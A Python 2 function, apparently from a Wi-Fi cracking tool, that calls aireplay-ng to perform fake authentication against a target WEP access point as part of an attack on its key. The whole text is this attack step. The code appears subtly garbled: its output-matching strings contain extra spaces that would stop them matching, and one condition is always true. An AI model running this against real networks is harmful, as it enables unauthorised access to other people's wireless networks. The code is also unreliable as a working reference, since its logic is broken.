'Attempt to (falsely) authenticate with a WEP access point.
Gives 3 seconds to make each 5 authentication attempts.
Returns True if authentication was successful, False otherwise.'

def wep_fake_auth(self, iface, target, time_to_display):

    max_wait = 3
    max_attempts = 5
    for fa_index in xrange(1, (max_attempts + 1)):
        print '\r                                                                                                                                                                                                                                                ',
        print ('\r    %s    attempting    %sfake    authentication%s    (%d/%d)...    ' % (((GR + time_to_display) + W), G, W, fa_index, max_attempts)),
        stdout.flush()
        cmd = ['aireplay-ng', '--ignore-negative-one', '-1', '0', '-a', target.bssid, '-T', '1']
        if (target.ssid != ''):
            cmd.append('-e')
            cmd.append(target.ssid)
        cmd.append(iface)
        proc_fakeauth = Popen(cmd, stdout=PIPE, stderr=DN)
        started = time.time()
        while ((proc_fakeauth.poll() == None) and ((time.time() - started) <= max_wait)):
            pass
        if ((time.time() - started) > max_wait):
            send_interrupt(proc_fakeauth)
            print ((R + 'failed') + W),
            stdout.flush()
            time.sleep(0.5)
            continue
        result = proc_fakeauth.communicate()[0].lower()
        if ((result.find('switching    to    shared    key') != (-1)) or result.find('rejects    open    system')):
            pass
        if (result.find('association    successful') != (-1)):
            print ((G + 'success!') + W)
            return True
        print ((R + 'failed') + W),
        stdout.flush()
        time.sleep(0.5)
        continue
    print ''
    return False
